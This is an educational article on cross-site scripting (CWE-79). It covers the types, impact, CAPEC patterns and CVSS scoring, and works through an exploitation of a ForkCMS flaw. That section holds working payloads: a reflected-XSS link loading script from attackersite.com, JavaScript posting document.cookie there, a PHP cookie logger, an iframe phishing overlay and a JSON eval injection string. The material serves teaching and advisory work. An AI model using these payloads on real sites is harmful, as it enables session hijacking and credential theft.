Cross-Site Scripting — XSS [CWE-79] — The Hacktivists

Cross-Site scripting or XSS is a weakness that is caused by improper neutralization of input during web page generation.

Table of Content
1. Description
2. Potential impact
3. Attack patterns
4. Affected software
5. Exploitation Examples
6. Severity and CVSS Scoring

1. Description
………………………………

The weakness occurs when software does not perform or incorrectly performs neutralization of input data before displaying it in the user’s browser. As a result, an attacker is able to inject and execute arbitrary HTML and script code in a user’s browser in the context of a vulnerable website. Based on weakness conditions, it is common to divide cross-site scripting errors into 3 main types: reflected XSS, stored XSS and DOM-based XSS.

❏ Reflected XSS (Non-persistent XSS): This type describes an error when an application reads input data from the HTTP request and reflects it back in the HTTP response. The malicious content is never stored in the application and can be viewed only when a user follows a specially crafted link.

❏ Stored XSS (persistent XSS): This type describes an error when an application reads input data from the HTTP request and stores it in the database, logs, cached pages, etc. Malicious code can be later executed in a user’s browser when a user visits a vulnerable page.

❏ DOM-based XSS: This type describes an error within the DOM model of the user’s browser. That means that injection occurs inside the client script that accepts and return back data from the user’s browser.

❏ uXSS (Universal XSS): A variant of XSS that can be triggered by leveraging flaws in browsers and browser plugins instead of within a web application. This could potentially lead to all current sessions within the web browser being affected, not just a single specific session.

❏ Self-XSS: Self-XSS is a variant of Cross-site scripting vulnerability when very close user interaction is required. For example, the victim should insert a specially crafted input into an HTML form in order to execute JavaScript code.

2. Potential impact
………………………………

After a successful attack, a malicious user can perform various actions: steal user’s cookies, modify webpage contents, and perform operations with the site within the user’s session (XSS proxy).

A non-exhaustive list of potential attack avenues is listed below:

❏ Cookie theft;
❏ Webpage defacement;
❏ iFrame overlay to facilitate phishing, credential theft;
❏ Hidden iFrame to load malicious JavaScript, to attempt exploits on the victim machine;
❏ Redirection to other websites, to facilitate malware delivery;
❏ Injection of malicious JavaScript, turning the compromised site into a drive-by download site.

3. Attack patterns
………………………………

The following attack patterns can leverage cross-site scripting vulnerability, according to CAPEC (Common Attack Pattern Enumeration and Classification) classification:

CAPEC-18: Embedding Scripts in Non-script Elements
CAPEC-19: Embedding Scripts within Scripts
CAPEC-32: Embedding Scripts in HTTP Query Strings
CAPEC-63: Simple Script Injection
CAPEC-85: Client Network Footprinting (using AJAX/XSS)
CAPEC-86: Embedding Script (XSS ) in HTTP Headers
CAPEC-91: XSS in IMG Tags
CAPEC-106: Cross-Site Scripting through Log Files
CAPEC-198: Cross-Site Scripting in Error Pages
CAPEC-199: Cross-Site Scripting Using Alternate Syntax
CAPEC-209: Cross-Site Scripting Using MIME Type Mismatch
CAPEC-232: Exploitation of Privilege/Trust
CAPEC-243: Cross-Site Scripting in Attributes
CAPEC-244: Cross-Site Scripting via Encoded URI Schemes
CAPEC-245: Cross-Site Scripting Using Doubled Characters, e.g. %3C%3Cscript
CAPEC-246: Cross-Site Scripting Using Flash
CAPEC-247: Cross-Site Scripting with Masking through Invalid Characters in Identifiers

Alternative WASC Threat Classification describes Cross-site Scripting as an attack under WASC-8.

4. Affected software
………………………………

Software that uses HTML to display data is potentially vulnerable to this weakness: web applications, browsers, ActiveX controls, browser plugins, email and RSS clients, frontends for hardware solutions, etc.

5. Exploitation Examples
………………………………

We will use a vulnerability in ForkCMS — HTB23075 security advisory (CVE-2012–1188) as an example of this weakness and show two different attacks against the vulnerable application.

Cookie theft
A malicious user can steal cookies and use them to gain access to the application. Successful exploitation requires that the user, who is logged in into the application, follows a specially crafted link to a vulnerable website:

http://forkcms.local/private/en/error?type=%3Cscript%20src=http://attackersite.com/fork.js%3E%3C/script%3E

the resultant page looks as follows:

This means that the fork.js script located at attackersite.com will be loaded and executed. The fork.js script contains the following code:

function post_to_url(path, params, method) {
  var form = document.createElement("form");
  form.setAttribute("method", method);
  form.setAttribute("action", path);
  var hiddenField = document.createElement("input");
  hiddenField.setAttribute("type", "hidden");
  hiddenField.setAttribute("name", "1");
  hiddenField.setAttribute("value", params);
  form.appendChild(hiddenField);
  document.body.appendChild(form);
  form.submit();
}
post_to_url("http://attackersite.com/fork.php", document.cookie, "post");

The above code sends an HTTP POST request to the file http://attackersite.com/fork.php that logs all data and redirects the victim back to the original website. The fork.php script contains the following code:

<?php
file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt",$_POST,FILE_APPEND);
file_put_contents($_SERVER["DOCUMENT_ROOT"]."/fork.txt","\r\n",FILE_APPEND);
header("Location: http://forkcms.local/private/en/");
exit;
?>

An attacker can use the received data to create cookies and gain access to the application. This can be achieved with any cookie editor plugin:

We used the Cookie Editor plugin for Firefox to create the necessary cookies. After that, we just visit the vulnerable website:

Phishing
Another exploitation example of this vulnerability uses some social engineering techniques to steal the administrator’s password.

This is a usual login window:

The following PoC changes the contents of this page:

http://forkcms.local/private/en/error?type=%3C/div%3E%3Cdiv%20style=%22color:white;font:75px%20arial;position:absolute;left:0;top:0;background:black;width:100%;height:888px; border:1px%20solid;z-index:1000%22%3E%3Ccenter%3EXSS%3C/div%3E

An attacker might also change some elements of the page and steal user credentials after tricking a victim into following a specially crafted link:

http://forkcms.local/private/en/error?type=%3C/div%3E%3Ciframe%20src=%22http://www.attacker-site.com/file.html%22%20style=%22border=0;z-index:1000;position:absolute;left:0;top:0;height:100%;width:100%;%22%3E%3C/iframe%3E

A malicious user can create a webpage which looks identical to a legitimate one and intercept potentially sensitive information:

As we can see, an “iframe” tag is loaded from an external domain attacker-site.com. The page looks the same as usual except for the submit button, which sends data to a malicious domain, and an extremely long URL. The status bar with the malicious website is left on purpose; it can be easily changed to an arbitrary value.

DOM-based cross-site scripting with JSON and Ajax
Another exploitation vector for cross-site scripting vulnerabilities is JSON/Ajax injection. Modern web applications widely use Ajax technology to display and update important data without reloading the page. In this example, we will demonstrate DOM-based XSS against a bogus web application and show how easy it is to exploit these vulnerabilities.

Let’s assume we have a live chat application that displays the status of each contact in the user’s list. Users can use custom messages to display their status. The list of users and their statuses is constructed by a server-side script and passed to each chat member via a JSON object.

JSON object:

{"OnlineUsers": "4", "UserAndStatus": ["User1, Online", "User2, Online", "User3, Online", "User4, Busy"]}

JavaScript Code:

var http_request = new XMLHttpRequest();
var Contacts;
http_request.open("GET", url, true);
http_request.onreadystatechange = function ()
{
        if (http_request.readyState == 4)
        {
                if (http_request.status == 200) {
                        Contacts = eval("(" + http_request.responseText + ")");
                }
                http_request = null;
        }
};
http_request.send(null);

The JavaScript eval() function is essential for JSON data. In case of improper input validation, it is very easy to exploit. For example, with custom user status, it is possible to inject the following string into a JSON object:

Busy"});alert("DOM based XSS");//

and execute an alert() function in the browsers of every chat member.

6. Severity and CVSS Scoring
……………………………………..

Cross-site scripting influences the integrity and confidentiality of the data and requires some user interaction (users must visit a specially crafted page or follow a malicious link). It should be scored as follows:
6.1 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:R/.S:C/.C:L/.I:L/.A:N] — Medium severity.

If user interaction is not needed (e.g., in the case of a stored XSS on a publicly accessible page), we advise scoring this weakness as UI:N:
7.2 [CVSS:3.0/AV:N/.AC:L/.PR:N/.UI:N/.S:C/.C:L/.I:L/.A:N] — High severity.

Credits: https://www.immuniweb.com/